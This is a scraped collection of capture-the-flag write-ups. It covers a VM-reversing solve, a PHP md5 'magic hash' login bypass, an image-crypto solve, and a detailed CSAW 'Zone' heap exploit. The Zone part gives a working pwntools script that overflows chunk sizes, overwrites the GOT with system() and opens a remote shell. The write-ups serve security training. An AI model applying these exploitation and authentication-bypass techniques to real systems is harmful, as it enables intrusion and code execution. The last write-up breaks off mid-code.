banaNas bANaNaS baNA..." 62: store r2, "BANANAs BANANAS BaNAnas BAnaNaS BaNAnas BAnaNaS BaNAnas BAna..." 63: xor r6, r2 64: put r6 65: get r6 66: put r1 67: store r1, "BanANAs bANaNaS banaNAS baNANas baNanAS baNanas bANAnAS bAna..." 68: store r2, "BANANAS BANanas BANanas BANaNas BANAnAS BAnANaS BANANAS BAnA..." 69: xor r1, r2 6a: put r1 6b: store r1, "BanAnAS" 6c: put r1 6d: mix r4, r7 6e: mix r4, r6 6f: mix r4, r5 70: xor r0, r4 71: store r3, "BanANaS bAnAnaS baNaNAs baNANAS baNaNAs bANANas baNAnaS baNA..." 72: store r2, "BANanaS BAnANaS BANaNAS BAnANAs BANaNAS BAnANaS" 73: xor r3, r2 74: put r3 75: put r0
Examining this disassembly, we find that the answers the first two questions areprobably "18" for the first question, and "BanaNAs!" for the second. Assuming wepass the second question prompt, we see that all four of our answers are mixedtogether using a mix operation, and that result is used as a rolling xor keywith a banana string constant to generate the flag.
Since all answers are mixed into the answer for the second question, we knowthat the key length is 8 bytes. Since we also know that the flag will probablystart with "flag{", we can calculate the first 5 bytes of the xor key and bruteforce the rest.
```python#!/usr/bin/env python
import itertoolsimport string
from convert import encodingimport disassemble
FLAG_CHARS = string.ascii_letters + string.digits + "_"
banana_ct = "baNANAs banAnAS banANaS banaNAs BANANAs BANaNas BANAnas bANanAS baNaNAs banaNAs bANaNas BaNaNaS baNanas BaNaNas BaNanas BaNANas baNAnaS banaNAS bANAnAs banANAS bAnaNAs BANAnAS BANAnas BaNANas bAnANas BaNaNaS banAnAs bANAnAs baNaNas BanaNaS bANANas banaNas bAnANaS bANANaS BaNAnas baNanAs baNanAS BaNAnAs bANANas banAnas bAnanaS banANaS bANaNAS banANaS baNanAS BaNanAS BANAnAS BaNanaS"
tokens = disassemble.tokenize(banana_ct)ct = [t.val for t in tokens]
def rolling_xor(ct, key): pt = [] for i, c in enumerate(ct): char = c ^ key[i % (len(key))] pt.append(char) return pt
key = [ 0x64, 0x7f, 0x72, 0x7f, 0x56]#for i in xrange(256):# try:# if encoding[i ^ ct[4]] == '{':# print hex(i)# exit(1)# except:# pass
for i, seq in enumerate(itertools.product(range(256), repeat=3)): guess = key + list(seq) pt = rolling_xor(ct, guess) try: pt = "".join(encoding[c] for c in pt) if all(c in string.printable for c in pt) and pt[-1] == "}" and \ all(c in FLAG_CHARS for c in pt[5:-1]): print pt except: pass```
Running this script produces 52 flags, the last one of which was the solution.
flag{lr4ng3_3R3_ch1pper_1_h474_n07_s4L_b4n4n4Ss} flag{kr4ng3_3Q3_ch1ppfr_1_h475_n07_s4K_b4n4n4Ts} flag{jr4ng3_3P3_ch1ppgr_1_h472_n07_s4N_b4n4n4Us} flag{ir4ng3_3O3_ch1pphr_1_h473_n07_s4M_b4n4n4Vs} flag{pr4ng3_3V3_ch1ppar_1_h478_n07_s4H_b4n4n4Os} flag{or4ng3_3U3_ch1ppbr_1_h479_n07_s4G_b4n4n4Ps} flag{nr4ng3_3T3_ch1ppcr_1_h476_n07_s4J_b4n4n4Qs} flag{mr4ng3_3S3_ch1ppdr_1_h477_n07_s4I_b4n4n4Rs} flag{dr4ng3_3J3_ch1ppmr_1_h47Y_n07_s4T_b4n4n4Ks} flag{cr4ng3_3I3_ch1ppnr_1_h47Z_n07_s4S_b4n4n4Ls} flag{br4ng3_3H3_ch1ppor_1_h47W_n07_s4V_b4n4n4Ms} flag{ar4ng3_3G3_ch1pppr_1_h47X_n07_s4U_b4n4n4Ns} flag{hr4ng3_3N3_ch1ppir_1_h470_n07_s4P_b4n4n4Gs} flag{gr4ng3_3M3_ch1ppjr_1_h471_n07_s4O_b4n4n4Hs} flag{zr4ng3_333_ch1ppwr_1_h47O_n07_s41_b4n4n48s} flag{yr4ng3_323_ch1ppxr_1_h47P_n07_s40_b4n4n49s} flag{Fr4ng3_393_ch1ppqr_1_h47U_n07_s4X_b4n4n42s} flag{Er4ng3_383_ch1pprr_1_h47V_n07_s4W_b4n4n43s} flag{Dr4ng3_373_ch1ppsr_1_h47S_n07_s4Z_b4n4n44s} flag{Cr4ng3_363_ch1pptr_1_h47T_n07_s4Y_b4n4n45s} flag{rr4ng3_3X3_ch1ppEr_1_h47G_n07_s49_b4n4n40s} flag{qr4ng3_3W3_ch1ppFr_1_h47H_n07_s48_b4n4n41s} flag{xr4ng3_313_ch1ppyr_1_h47M_n07_s43_b4n4n4Ws} flag{wr4ng3_303_ch1ppzr_1_h47N_n07_s42_b4n4n4Xs} flag{Rr4ng3_3l3_ch1ppKr_1_h47A_n07_s4f_b4n4n4ms} flag{Qr4ng3_3k3_ch1ppLr_1_h47B_n07_s4e_b4n4n4ns} flag{Pr4ng3_3j3_ch1ppMr_1_h47y_n07_s4h_b4n4n4os} flag{Or4ng3_3i3_ch1ppNr_1_h47z_n07_s4g_b4n4n4ps} flag{Vr4ng3_3p3_ch1ppGr_1_h47E_n07_s4b_b4n4n4is} flag{Ur4ng3_3o3_ch1ppHr_1_h47F_n07_s4a_b4n4n4js} flag{Tr4ng3_3n3_ch1ppIr_1_h47C_n07_s4d_b4n4n4ks} flag{Sr4ng3_3m3_ch1ppJr_1_h47D_n07_s4c_b4n4n4ls} flag{Jr4ng3_3d3_ch1ppSr_1_h47s_n07_s4n_b4n4n4es} flag{Ir4ng3_3c3_ch1ppTr_1_h47t_n07_s4m_b4n4n4fs} flag{Hr4ng3_3b3_ch1ppUr_1_h47q_n07_s4p_b4n4n4gs} flag{Gr4ng3_3a3_ch1ppVr_1_h47r_n07_s4o_b4n4n4hs} flag{Nr4ng3_3h3_ch1ppOr_1_h47w_n07_s4j_b4n4n4as} flag{Mr4ng3_3g3_ch1ppPr_1_h47x_n07_s4i_b4n4n4bs} flag{Lr4ng3_3f3_ch1ppQr_1_h47u_n07_s4l_b4n4n4cs} flag{Kr4ng3_3e3_ch1ppRr_1_h47v_n07_s4k_b4n4n4ds} flag{3r4ng3_3z3_ch1pp0r_1_h47i_n07_s4x_b4n4n4Es} flag{2r4ng3_3y3_ch1pp1r_1_h47j_n07_s4w_b4n4n4Fs} flag{9r4ng3_3F3_ch1ppWr_1_h47o_n07_s4r_b4n4n4ys} flag{8r4ng3_3E3_ch1ppXr_1_h47p_n07_s4q_b4n4n4zs} flag{7r4ng3_3D3_ch1ppYr_1_h47m_n07_s4t_b4n4n4As} flag{6r4ng3_3C3_ch1ppZr_1_h47n_n07_s4s_b4n4n4Bs} flag{Zr4ng3_3t3_ch1pp6r_1_h47c_n07_s4D_b4n4n4us} flag{Yr4ng3_3s3_ch1pp7r_1_h47d_n07_s4C_b4n4n4vs} flag{Xr4ng3_3r3_ch1pp8r_1_h47a_n07_s4F_b4n4n4ws} flag{Wr4ng3_3q3_ch1pp9r_1_h47b_n07_s4E_b4n4n4xs} flag{1r4ng3_3x3_ch1pp2r_1_h47g_n07_s4z_b4n4n4qs} flag{0r4ng3_3w3_ch1pp3r_1_h47h_n07_s4y_b4n4n4rs}
#### Shortcuts
Solving this challenge may have been much faster from a purely dynamicperspective. Dumping the registers and examining the transformations from thatperspective would have almost certainly been faster and easier. The providedscript was fairly naive with only two operations that mixed the contents ofregisters. Furthermore, if one realizes that the flag result is simply a rollingxor between two registers, it would have been trivial to skip the majority ofstatic reversing of earlier opcodes and skip straight to analysis of the finalxor. |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTFs</span></span></span><span>/</span><span><span>BackdoorCTF 2017</span></span><span>/</span>BABY-0x41414141-PWN150<span>/</span> </div> </div>
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|
Please, do not write just a link to original writeup here.
[Link to writeup](https://github.com/Keramas/CTF-Writeups/blob/master/backdoorctf17-Baby0x41414141.md) |
First Step Get the "Lord Commander" password because he is the only user that have role = 'admin' using the bruter.py
Second StepBypass the vuln "if($password == $users['password']){" because it's not a strict equality so after some researchs we found that : md5('240610708') == '0e462097431906509019562988736854' then php will compare the two hashes as numbers and our input will bypass the verification
Third Step
Login and get the flag \o/
|
**CTF: backdoorctf 2017**--**Challenge:** `imagerev`**Tags:** `crypto` **Given files:** [encrypt.py][encrypt], [encrypted.txt][encrypted]
By reading [encrypt.py][encrypt] we can identify what input becomes an output.
Actually [encrypt.py][encrypt] takes through Image.getdata() a linear list of every pixel on image.
**Ex:** `[(97,98,99),(254,52,63),(562,85,45),......]`
In `data_encrypted()` each pixel is transformed in a 3-ascii letter word.
**Ex:** `(97,98,99) => 'abc'`
Then in `encryption()` an input of 'abc' will give up an 8-tuple of 8-char hex number.According to [encrypted.txt][encrypted] each "8-tuple of 8-char hex number" are repeting itself which that means it's probably the same pixel each time.
**Ex:** `['709e80c8','8487a241','1e1ee4df','b9f22a86','1492d20c','4765150c','0c794abd','0f81477c']`
Exploit should be to use this regularity to determine the more current pixel as the background of our solution and others pixels as the flag text.
Using python we can count how many "8-tuple of 8-char hex number" (pixels) there is and try each format (height, widht) with height between 1 to 100 (because of letter size).
(Note that if you try to encrypt images you can see that encryption is creating a huge amount of data which means flag must be a very tiny image.)
Here is the python [exploit.py][exploit] for more indications.
```pythonfrom PIL import Image
def get_hex_list(filename): f = open(filename, 'r') crypted_data = f.read() word_list = list() data_list = list() count = 0 while count < len(crypted_data): word_list.append(crypted_data[count:count+8]) if len(word_list) == 8: data_list.append(word_list) word_list = list(); count += 8 return data_list
def resolve(input_list): formated_list = list() for item in input_list: if item == input_list[0]: formated_list.append((0,0,0)) else: formated_list.append((255,255,255)) for i in range(1,100): if len(formated_list) % i == 0: size = (len(formated_list) / i, i) im = Image.new("RGB",size,"white") im.putdata(formated_list) title = './flag' + str(i) + '.png' im.save(title)
hex_data_list = get_hex_list('./encrypted.txt')resolve(hex_data_list)```
Finally we get images like those (you just have to find the right one with the good ratio [w:h]) :
As [backdoor][backdoor_site] asked there is not the right flag here. Try to find it by yourself.
[encrypt]:/backdoorctf%202017/imagerev/encrypt.py[encrypted]:/backdoorctf%202017/imagerev/encrypted.txt[exploit]:/backdoorctf%202017/imagerev/exploit.py[backdoor_site]:https://backdoor.sdslabs.co/ |
# Zone
Given---We're on a highway to the danger zone.
nc pwn.chal.csaw.io 5223
-- fatalbit (Eric Liang)
[zone](https://ctf.csaw.io/files/808a9400f921510cd6ed7b1dcefa46ec/zone) [libc-2.23.so](https://ctf.csaw.io/files/6869d29fcdd2ee8d1f42eea68fdb63f5/libc-2.23.so)
Writeup---So lets go ahead and run this
```root@hackbox:/home/anichno/csaw/zone# ./zone Environment setup: 0x7ffe394d79301) Allocate block2) Delete block3) Write to last block4) Print last block5) Exit```
Alright, so it immediately looks like this will be a heap based challenge... fun...A quick lookup in gdb confirms this```gdb-peda$ vmmap Start End Perm Name...0x00007ffff7ff1000 0x00007ffff7ff2000 rw-s /dev/zero (deleted)0x00007ffff7ff2000 0x00007ffff7ff3000 rw-s /dev/zero (deleted)0x00007ffff7ff3000 0x00007ffff7ff4000 rw-s /dev/zero (deleted)0x00007ffff7ff4000 0x00007ffff7ff5000 rw-s /dev/zero (deleted)...```w/ correlation from strace```mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff4000mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff3000mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff2000mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff1000```
Before we get too crazy, whats going on in these mapped regions?```gdb-peda$ x/64x 0x00007ffff7ff40000x7ffff7ff4000: 0x0000000000000040 0x00007ffff7ff40500x7ffff7ff4010: 0x0000000000000000 0x00000000000000000x7ffff7ff4020: 0x0000000000000000 0x00000000000000000x7ffff7ff4030: 0x0000000000000000 0x00000000000000000x7ffff7ff4040: 0x0000000000000000 0x00000000000000000x7ffff7ff4050: 0x0000000000000040 0x00007ffff7ff40a00x7ffff7ff4060: 0x0000000000000000 0x00000000000000000x7ffff7ff4070: 0x0000000000000000 0x00000000000000000x7ffff7ff4080: 0x0000000000000000 0x00000000000000000x7ffff7ff4090: 0x0000000000000000 0x00000000000000000x7ffff7ff40a0: 0x0000000000000040 0x00007ffff7ff40f0
```
A quick guess is the header structure is something like [size of chunk | next chunk pointer].Huh, ok lets come back to that later. Let's play with the program a little bit.```root@hackbox:/home/anichno/csaw/zone# ./zone Environment setup: 0x7ffe014743a01) Allocate block2) Delete block3) Write to last block4) Print last block5) Exit151) Allocate block2) Delete block3) Write to last block4) Print last block5) Exit3ABCD1) Allocate block2) Delete block3) Write to last block4) Print last block5) Exit4ABCD1) Allocate block2) Delete block3) Write to last block4) Print last block5) Exit```Cool, I created a block, presumably of size 5, wrote to it, then printed it.Lets take a quick look at gdb and see what those heap structures look like now.```gdb-peda$ x/64x 0x00007ffff7ff40000x7ffff7ff4000: 0x0000000000000040 0x00000000000000000x7ffff7ff4010: 0x0000000044434241 0x00000000000000000x7ffff7ff4020: 0x0000000000000000 0x00000000000000000x7ffff7ff4030: 0x0000000000000000 0x00000000000000000x7ffff7ff4040: 0x0000000000000000 0x00000000000000000x7ffff7ff4050: 0x0000000000000040 0x00007ffff7ff40a00x7ffff7ff4060: 0x0000000000000000 0x00000000000000000x7ffff7ff4070: 0x0000000000000000 0x00000000000000000x7ffff7ff4080: 0x0000000000000000 0x00000000000000000x7ffff7ff4090: 0x0000000000000000 0x00000000000000000x7ffff7ff40a0: 0x0000000000000040 0x00007ffff7ff40f0```Alright cool, I allocated a block of size 5, and it looks like its going to the mmap'ed section for size 64 blocks. Weirdly the next block pointer became all nulls, but maybe thats part of how the program tracks the current block.
At this point, if we decide to try to overflow the program here, we find it just breaks and goes into an infinite loop. If we try to allocate too large a block > 512 the program returns an message saying "Nope sorry can't allocate that". Whenever we "Delete block", the program tells us the size of what block we freed. What happens if we allocate exactly 64 bytes? Based of what we've seen, we should be able to write 64 characters to our new chunk in the fake heap. If that happens we should either see an '@' character when we print (because thats 64 in ascii), or we should write a 0x00 to the size of the next chunk. Either way its fun times.```gdb-peda$ rStarting program: /home/anichno/csaw/zone/zone Environment setup: 0x7fffffffe3601) Allocate block2) Delete block3) Write to last block4) Print last block5) Exit1641) Allocate block2) Delete block3) Write to last block4) Print last block5) Exit3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1) Allocate block2) Delete block3) Write to last block4) Print last block5) Exit4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@1) Allocate block2) Delete block3) Write to last block4) Print last block5) Exit```As expected:```gdb-peda$ x/64x 0x00007ffff7ff40000x7ffff7ff4000: 0x0000000000000040 0x00000000000000000x7ffff7ff4010: 0x4141414141414141 0x41414141414141410x7ffff7ff4020: 0x4141414141414141 0x41414141414141410x7ffff7ff4030: 0x4141414141414141 0x41414141414141410x7ffff7ff4040: 0x4141414141414141 0x41414141414141410x7ffff7ff4050: 0x0000000000000040 0x00007ffff7ff40a0```Alright, it doesn't write 0x00 to the end. What if the length check is poorly implemented? Single byte overwrites are somewhat common, its really easy to mess up length checks and get off by one errors. Lets test real quick:```gdb-peda$ rStarting program: /home/anichno/csaw/zone/zone Environment setup: 0x7fffffffe3601) Allocate block2) Delete block3) Write to last block4) Print last block5) Exit1641) Allocate block2) Delete block3) Write to last block4) Print last block5) Exit3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1) Allocate block2) Delete block3) Write to last block4) Print last block5) Exit4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1) Allocate block2) Delete block3) Write to last block4) Print last block5) Exit``````gdb-peda$ x/64x 0x00007ffff7ff40000x7ffff7ff4000: 0x0000000000000040 0x00000000000000000x7ffff7ff4010: 0x4141414141414141 0x41414141414141410x7ffff7ff4020: 0x4141414141414141 0x41414141414141410x7ffff7ff4030: 0x4141414141414141 0x41414141414141410x7ffff7ff4040: 0x4141414141414141 0x41414141414141410x7ffff7ff4050: 0x0000000000000042 0x00007ffff7ff40a0```Awesome! We can overwrite the length of the next block, I wonder if that will be useful...If we now allocate a new block of size 64, nothing special happens immediately. However, if we delete that block, we see something weird. Normally you get a message saying "Free size x" where x is always one of (64, 128, 256, or 512). This time instead we get "Free size 66" (66 is 'B' in ascii) and the program exits immediately. Maybe we should take a quick look at the code and see why. Using the string "Free size" to help us find the relevant section```00000000004043a3 mov edi, 0x404730 ; "Free size %lu\\n", argument "format" for method j_printf00000000004043a8 mov eax, 0x000000000004043ad call j_printf00000000004043b2 mov rax, qword [rbp+var_8]00000000004043b6 mov rax, qword [rax]00000000004043b9 cmp rax, 0x8000000000004043bf je loc_4043f8
00000000004043c1 cmp rax, 0x8000000000004043c7 ja loc_4043d1
00000000004043c9 cmp rax, 0x4000000000004043cd je loc_4043e3
00000000004043cf jmp loc_404437
loc_4043d1:00000000004043d1 cmp rax, 0x100 ; CODE XREF=something_print_free_amount+9100000000004043d7 je loc_40440d
00000000004043d9 cmp rax, 0x20000000000004043df je loc_404422
00000000004043e1 jmp loc_404437
...
loc_404437:0000000000404437 mov edi, 0xffffffff ; argument "status" for method j_exit, CODE XREF=something_print_free_amount+99, something_print_free_amount+117000000000040443c call j_exit ; endp```Long story short, if the freed amount isn't 64, 128, 256, or 512, the program calls exit and closes, bummer. But wait! 64 and 128 are both one byte! I bet if we change the size from 64 to 128, something neat might happen. Using our previous process, we'll make a block of size 64, write 64 'A's to it, followed by '\x80'. We'll free that and see if the program stays up. To assist with all these operations, I went ahead and wrote a program to handle interaction with the binary. That will also come in handy later for the actual exploit.```pythonfrom pwn import *
p = process('./zone')
def menu(): p.recvuntil('5) Exit\n')
menu()
def allocate(size): p.sendline('1') p.sendline(str(size)) menu()
def delete(): p.sendline('2') retval = int(p.readline().split()[2]) menu() return retval
def write(content): p.sendline('3') p.sendline(content) menu()
def print_block(): p.sendline('4') retval = p.recvuntil('\n1) ') menu() return retval
allocate(64)write('A'*64 + '\x80')allocate(64)p.interactive()```Running our python script and then typing '2' to delete a block, we get this:```root@hackbox:/home/anichno/csaw/zone# python tut.py [+] Starting local process './zone': pid 20424ENV: 0x7fffffffe3e0[*] Switching to interactive mode$ 2Free size 1281) Allocate block2) Delete block3) Write to last block4) Print last block5) Exit```Very cool! It thinks it just freed a block of size 128, but that was really a block of size 64!With some quick experimentation, it looks like the program now thinks that the second block of the 64 byte heap is now the head of the 128 byte heap. Even better, after freeing all the blocks, the next chunk pointer of the 64 byte table points 160 bytes away, which is within the "data" segment of the first chunk of the "128 byte table" (in quotes because this first chunk now resides in the 64 byte table). If we overwrite the header for the next to be allocated 64 byte chunk, we can point it anywhere in memory. We should even be able to read and write that location. The cherry on top is that our input is read via the "read" libc function. We can therefore write normally bad characters like '\x00' in without issue.```gdb-peda$ x/64x 0x00007ffff7ff40000x7ffff7ff4000: 0x0000000000000040 0x00007ffff7ff40a00x7ffff7ff4010: 0x4141414141414141 0x41414141414141410x7ffff7ff4020: 0x4141414141414141 0x41414141414141410x7ffff7ff4030: 0x4141414141414141 0x41414141414141410x7ffff7ff4040: 0x4141414141414141 0x41414141414141410x7ffff7ff4050: 0x0000000000000080 0x00007ffff7ff30000x7ffff7ff4060: 0x0000000000000000 0x00000000000000000x7ffff7ff4070: 0x0000000000000000 0x00000000000000000x7ffff7ff4080: 0x0000000000000000 0x00000000000000000x7ffff7ff4090: 0x0000000000000000 0x00000000000000000x7ffff7ff40a0: 0x0000000000000040 0x00007ffff7ff40f0```So here's the process so far:1. Create block of size 642. Write 64 'A's + 1 '\x80'3. Create block of size 644. Delete block5. Create block of size 128 (which now resides in the heap meant for 64 byte chunks)6. Write 128 'B"s7. Create block of size 648. Create block of size 64
On that last block create, the program crashes trying to use 0x4242424242424242 as a memory address for the next chunk. Boom!
Ok, the goal now is to abuse the next chunk pointer to give us a write-what-whereWhat security mechanisms are we going to have to deal with?```gdb-peda$ checksec CANARY : ENABLEDFORTIFY : disabledNX : ENABLEDPIE : disabledRELRO : Partial```Since we get a stack pointer at the start of the program, when we test against pwn.chal.csaw.io:5223 we can quickly see that ASLR is on as well. A GOT overwrite seems quite viable, especially since we can write 40 bytes with no concern over bad characters.
Goal: Find a good function to overwrite with the address of system(), then we can get the program to call that function naturally and it'll end up calling something good like system("/bin/sh").
What does the GOT look like?``` printf@GOT:0000000000607018 dq 0x0000000000608000 ; DATA XREF=j_printf puts@GOT:0000000000607020 dq 0x0000000000608018 ; DATA XREF=j_puts _ZdlPv@GOT: // operator delete(void*)0000000000607028 dq 0x0000000000608020 ; DATA XREF=j__ZdlPv exit@GOT:0000000000607030 dq 0x0000000000608028 ; DATA XREF=j_exit setvbuf@GOT:0000000000607038 dq 0x0000000000608030 ; DATA XREF=j_setvbuf __cxa_rethrow@GOT:0000000000607040 dq 0x0000000000608038 ; DATA XREF=j___cxa_rethrow read@GOT:0000000000607048 dq 0x0000000000608040 ; DATA XREF=j_read __libc_start_main@GOT:0000000000607050 dq 0x0000000000608048 ; DATA XREF=j___libc_start_main scanf@GOT:0000000000607058 dq 0x0000000000608058 ; DATA XREF=j_scanf memmove@GOT:0000000000607060 dq 0x0000000000608068 ; DATA XREF=j_memmove __stack_chk_fail@GOT:0000000000607068 dq 0x0000000000608070 ; DATA XREF=j___stack_chk_fail munmap@GOT:0000000000607070 dq 0x0000000000608078 ; DATA XREF=j_munmap __cxa_end_catch@GOT:0000000000607078 dq 0x0000000000608080 ; DATA XREF=j___cxa_end_catch _ZSt17__throw_bad_allocv@GOT: // std::__throw_bad_alloc()0000000000607080 dq 0x0000000000608088 ; DATA XREF=j__ZSt17__throw_bad_allocv __cxa_begin_catch@GOT:0000000000607088 dq 0x0000000000608090 ; DATA XREF=j___cxa_begin_catch __gxx_personality_v0@GOT:0000000000607090 dq 0x00000000006080b0 ; DATA XREF=sub_400a80 _Znwm@GOT: // operator new(unsigned long)0000000000607098 dq 0x0000000000608098 ; DATA XREF=j__Znwm _Unwind_Resume@GOT:00000000006070a0 dq 0x00000000006080a0 ; DATA XREF=j__Unwind_Resume mmap@GOT:00000000006070a8 dq 0x00000000006080a8 ; DATA XREF=j_mmap```To try to figure out a good candidate to overwrite, we invoke the binary with "ltrace" so we can see all its library calls```root@hackbox:/home/anichno/csaw/zone# ltrace ./zone 2> ltrace.outEnvironment setup: 0x7fffffffe3e01) Allocate block2) Delete block3) Write to last block4) Print last block5) Exit1641) Allocate block2) Delete block3) Write to last block4) Print last block5) Exit3ABCD1) Allocate block2) Delete block3) Write to last block4) Print last block5) Exit4ABCD1) Allocate block2) Delete block3) Write to last block4) Print last block5) Exit2Free size 641) Allocate block2) Delete block3) Write to last block4) Print last block5) Exit5```In another window:```tail -f ltrace.out_ZdlPv(0x619ed0, 0x619ed0, 64, 0x619ed0) = 1_ZdlPv(0x619e80, 0x619e80, 8, 0x619e80) = 0_Znwm(64, 8, 0, 8) = 0x619e80_Znwm(512, 64, 0, 64) = 0x619ed0_Znwm(64, 8, 0, 8) = 0x61a0e0_Znwm(512, 64, 0, 64) = 0x61a130_ZdlPv(0x61a130, 0x61a130, 64, 0x61a130) = 1_ZdlPv(0x61a0e0, 0x61a0e0, 8, 0x61a0e0) = 0puts("1) Allocate block\n2) Delete bloc"...) = 85scanf(0x404705, 0x7fffffffe264, 0x7ffff7834760, 0x7ffff75698f0) = 1scanf(0x40469f, 0x7fffffffe290, 0, 16) = 1puts("1) Allocate block\n2) Delete bloc"...) = 85scanf(0x404705, 0x7fffffffe264, 0x7ffff7834760, 0x7ffff75698f0) = 1read(0, "A", 1) = 1read(0, "B", 1) = 1read(0, "C", 1) = 1read(0, "D", 1) = 1read(0, "\n", 1) = 1puts("1) Allocate block\n2) Delete bloc"...) = 85scanf(0x404705, 0x7fffffffe264, 0x7ffff7834760, 0x7ffff75698f0) = 1puts("ABCD") = 5puts("1) Allocate block\n2) Delete bloc"...) = 85scanf(0x404705, 0x7fffffffe264, 0x7ffff7834760, 0x7ffff75698f0) = 1printf("Free size %lu\n", 64) = 13puts("1) Allocate block\n2) Delete bloc"...) = 85scanf(0x404705, 0x7fffffffe264, 0x7ffff7834760, 0x7ffff75698f0) = 1_ZdlPv(0x619ed0, 0x619ed0, 64, 0x619ed0) = 1_ZdlPv(0x619e80, 0x619e80, 8, 0x619e80) = 0_ZdlPv(0x619c70, 0x619c70, 64, 0x619c70) = 1_ZdlPv(0x619c20, 0x619c20, 8, 0x619c20) = 0x619e70munmap(0x7ffff7ff1000, 4096, 0x619e70, 0x619c00) = 0munmap(0x7ffff7ff2000, 4096, 0x619e70, 0x7ffff7573c77) = 0munmap(0x7ffff7ff3000, 4096, 0x619e70, 0x7ffff7573c77) = 0munmap(0x7ffff7ff4000, 4096, 0x619e70, 0x7ffff7573c77) = 0+++ exited (status 0) +++```So it looks like puts is going to be a really good candidate. When we print the last block, it calls puts() on a string we can control. If puts() is overwritten to become system(), we can write "/bin/sh" to the last block then print it. When we print the block it will call system("/bin/sh") and we win!
At this point a buddy and I were discussing the viability of overwriting puts(). The problem we thought was it would first call puts() on the menu, and would end up breaking. Because of that, we ended up making a significantly more complecated exploit. Lets review real quick how system() works:```SYNOPSIS #include <stdlib.h>
int system(const char *command);
DESCRIPTION The system() library function uses fork(2) to create a child process that executes the shell command specified in command using execl(3) as follows:
execl("/bin/sh", "sh", "-c", command, (char *) 0);
system() returns after the command has been completed.```Both puts() and system() pretty much return the same thing, and this program doesn't particularly care what is returned. Therefore if it calls system() on the menu, the shell will just fail and return. When called on our "/bin/sh", it will continue running just fine. All that really happens is we break the ability to print the menu, no biggie.
Here's the exploit process:1. Use 1 byte overwrite to get a 128 byte chunk in the 64 byte table2. Use 128 byte chunk to overwrite a next chunk pointer in the 64 byte table to point at puts() in the GOT3. Make the chunk sitting in the GOT our current block4. Print current block, this will print out the address of puts() in libc5. Calculate position of system() in libc, using our leaked pointer from the previous step6. Write to current block the address of system7. Allocate new block, since the 64 byte table is all messed up, this needs to be another table (512 seems like a good pick)8. Write to current block the string "/bin/sh"9. Print current block10. ???11. Profit!
Since we are given a copy of the libc being used by the target, getting the offset from puts() to system() is easy.```root@hackbox:/home/anichno/csaw/zone# gdb libc-2.23.so GNU gdb (Ubuntu 7.12.50.20170314-0ubuntu1.1) 7.12.50.20170314-gitCopyright (C) 2017 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law. Type "show copying"and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>.Find the GDB manual and other documentation resources online at:<http://www.gnu.org/software/gdb/documentation/>.For help, type "help".Type "apropos word" to search for commands related to "word"...Reading symbols from libc-2.23.so...(no debugging symbols found)...done.gdb-peda$ p puts$1 = {<text variable, no debug info>} 0x6f690 <puts>gdb-peda$ p system$2 = {<text variable, no debug info>} 0x45390 <system>gdb-peda$ distance 0x6f690 0x45390From 0x6f690 to 0x45390: -172800 bytes, -43200 dwords```
Putting it all together:
```pythonfrom pwn import *
p = remote("pwn.chal.csaw.io", 5223)
def menu(): p.recvuntil('5) Exit\n')
menu()
def allocate(size, read_menu=True): p.sendline('1') p.clean() p.sendline(str(size)) if read_menu: menu() else: p.clean()
def delete(read_menu=True): p.sendline('2') retval = int(p.readline().split()[2]) if read_menu: menu() return retval
def write(content, read_menu=True): p.sendline('3') p.clean() p.sendline(content) if read_menu: menu() else: p.clean()
def print_block(read_menu=True): p.sendline('4') retval = p.recvuntil('\n1) ') if read_menu: menu() return retval
PUTS_GOT_ADDR = 0x607020SYSTEM_OFFSET = -172800
# Setup one byte overwriteallocate(64)write('A'*64 + '\x80')
# Create block in space with overwriten size, then delete itallocate(64)delete()
# Program in now confused of where 128 byte table should be# let's allocate one and overwrite next chunk pointer of following 64 byte chunkallocate(128)write('B'*64 + p64(0x40) + p64(PUTS_GOT_ADDR - 0x10)) # -0x10 because the "next" pointer points at the chunk header, not the content
# Move current chunk ahead so that we're using the location we specified (the GOT)allocate(64)allocate(64)
# Read address of puts by printing blockputs_addr = u64(print_block()[:6]+'\x00\x00')
# Calculate system locationsystem_addr = puts_addr + SYSTEM_OFFSET
# Write to block system's address, puts() now is system()write(p64(system_addr), False)
# Create a new block on a clean table, then write our command to itallocate(512, False)write('/bin/sh', False)
# Print block, which calls system('/bin/sh')p.sendline('4')
# Enjoy shellp.interactive()```The calls to clean() were necessary to make this work over the network, it looks like some stuff was getting consumed weirdly at times.
Using the exploit against CSAW's server nets us the flag:```root@hackbox:/home/anichno/csaw/zone# python tut.py [+] Opening connection to pwn.chal.csaw.io on port 5223: Done[*] Switching to interactive mode$ cat flagflag{d0n7_let_m3_g3t_1n_my_z0n3}```
|
# Rev! Rev! Rev!
## Task
Given binary executable, find the flag in it
## Solution
First of all, we need to examine platform for wich executable was compiled:
```$ file revrev: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamicallylinked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32BuildID[sha1]=e33eb178391bae637823f4645d63d63eac3a8d07, stripped```
We see that it can run under linux, so let's execute it:
```$ ./revRev! Rev! Rev!Your input: helloInvalid!```Now, we understand that executable logic could look like this:
```c#include <stdio.h>#include <fcntl.h>#include <string.h>
int main(void){ char s[1024]; FILE *stdin;
